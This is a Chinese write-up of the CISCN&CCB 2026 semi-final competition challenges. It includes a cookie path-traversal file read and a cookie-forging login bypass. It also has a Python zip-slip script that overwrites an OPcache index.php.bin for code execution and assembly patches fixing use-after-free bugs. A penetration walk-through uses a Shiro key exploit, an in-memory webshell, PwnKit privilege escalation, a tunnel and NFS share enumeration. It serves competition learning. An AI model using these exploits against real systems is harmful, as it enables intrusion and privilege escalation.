CISCN&CCB半决赛WriteUp
❝本文来自【星火计划】的【星火之声】投稿,来源于
XJUSEC2026 年CISCN&CCB半决赛WriteUp。
❝如果您也想投稿相关文章,可将
Markdown格式或Docx格式文档压缩后投递邮箱[email protected]。
AWDP
Web
MediaDrive
先从攻击的思路出发的,因为只要会打肯定会fix,文件可以上传,可以读取,可以下载,但是分析源码也知道,ban的特别严格,基本上什么危险文件都上传不上去,文件上传的思路断掉,分析源码看到User类
分析每一个文件的开头会发现,都是先从cookie里面读取User的序列化字符串,可以发现这里可以修改路径
将路径先修改成/etc/,然后?F=passwd 抓包可以读取文件/etc/passwd 最后实在绕不过去,已经到第五轮,然后攻击不了,只能fix了,修起来很简单,直接在preview文件里面禁止用户去别的目录就行了,具体如下:
直接上传,fix成功
easy_time
第一步绕过登录:
再控制台输入,重定向到/dashboard
document.cookie = "user=admin; path=/";
document.cookie = "visited=yes; path=/";
location="/dashboard";
获得时间戳
index.php.bin可以看这篇文章利用PHP的OPcache机制getshell
利用index.php.bin
远程头像 URL:http://127.0.0.1/date.php 远程信息: type=text/html; charset=UTF-8 len=10 len=b'1769426974'
timestamp = 1769426974
# 将时间戳转换为小端序字节
little_endian_bytes = timestamp.to_bytes(4, byteorder='little')
# 将字节转换为十六进制字符串并添加空格
hex_string = ' '.join(f'{byte:02x}' for byte in little_endian_bytes)
print(hex_string)
#1e 50 77 69
计算opcache的值,这个值是/tmp/hash/var/www/html/的值,是后面覆盖文件时会用到、
phpinfo里面opcache开启了时间验证,index.php.bin还需要改变时间搓#1e 50 77 69这个就是我们获得的时间戳转换后的
8.2.6 API420220829 NTS BIN_4888 //版本信息通过phpinfo.php获取
<?php
highlight_file(__FILE__);
echo md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002");
?>
获得md5
将文件index.php.bin内容进行修改:
md5内容修改,同时根据上次获得的时间戳修改文件0040的前4伪。
import os
import zipfile
from pathlib import Path
ROOT_PATH = Path(__file__).parent.resolve()
def build_malicious_archive(base_dir: Path, source_file: str, internal_target_path: str, final_archive: str):
ifnot base_dir.exists():
base_dir.mkdir(parents=True, exist_ok=True)
src_blob = base_dir / source_file
out_package = base_dir / final_archive
ifnot src_blob.exists():
print(f"[-] 错误: 找不到源文件 {src_blob}")
return
try:
with zipfile.ZipFile(out_package, 'w', compression=zipfile.ZIP_DEFLATED) as archive:
archive.write(src_blob, arcname=internal_target_path)
print(f"[+] 构件生成成功: {out_package}")
print(f"[+] 注入路径节点: {internal_target_path}")
except Exception as e:
print(f"[-] 构建失败: {str(e)}")
SOURCE_BINARY = "index.php.bin"
TRAVERSAL_INJECTION_POINT = (
"../../../../../../../../../../../../../../../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6"
"/var/www/html/index.php.bin"
)
CARRIER_PACKAGE = "test.zip"
if __name__ == "__main__":
build_malicious_archive(
base_dir=ROOT_PATH,
source_file=SOURCE_BINARY,
internal_target_path=TRAVERSAL_INJECTION_POINT,
final_archive=CARRIER_PACKAGE
)
获得test.zip,上传文件,覆盖index.php
Pwn
catchme
UAF漏洞
定位到这里发现确实存在uaf漏洞
刚开始将free函数nop掉,check服务异常
然后把free函数plt表改为ret,check服务异常
决定写汇编修改,将指针置空
.text:0000000000000E05 mov eax, [rbp+var_14]
.text:0000000000000E08 cdqe
.text:0000000000000E0A lea rdx, ds:0[rax*8]
.text:0000000000000E12 lea rax, qword_202060
.text:0000000000000E19 mov rax, [rdx+rax]
.text:0000000000000E1D mov rdi, rax ; ptr
.text:0000000000000E20 call _free
:0000000000000E25 mov eax, 0
这是原来的汇编
我们把mov eax,0nop掉,然后跳转到其他段去修改汇编
这是目标段,先把原来的数据nop掉,然后抄写free函数的汇编
改为如图所示
原来的位置进行跳转
如图
Ubuntu运行发现没有段错误,直接打包提交
easy_rw_revenge
UAF漏洞
发现free之后确实没有置零,根据上一题的经验,继续尝试用汇编修改
同时题目给了delete函数
这是sub1A00的汇编,尝试将free之后的汇编与这段汇编结合
这是free的汇编
改为如图所示
改完之后
然后在ubuntu上成功运行
上交后patch通过
ISW
FLAG01
Fscan扫描
检测到漏洞,拿到shirokey,shiro工具
先检测密钥然后检测当前利用链子
一个个测试发现k1这个链子可以利用成功,拿到flag,然后上个内存马,方便命令执行
FLAG02
CVE-2021-4034提权(PwnKit)拿到root权限,然后root目录下拿到第二个flag
FLAG03
用vshell搭一个内网隧道,然后将fscan上传进去扫一下
端口扫描
端口扫描
192.168.45.100:135 msrcp
192.168.45.100:139 microsoft-ds
192.168.45.100:22 ssh | SSH-2.0-OpenSSH_7.4
192.168.45.100:445 microsoft-ds
192.168.45.100:2049 nfs
192.168.45.100:53
192.168.45.100:389 ldap
分析得到nfs可能会有共享文件夹 showmount -e 192.168.45.100
创建目录ccb,将这个目录挂载到192.168.45.50 ccb上
❝如果你觉得本篇文章有意思或者学到了新技术,不妨点个赞转发一下再走吧?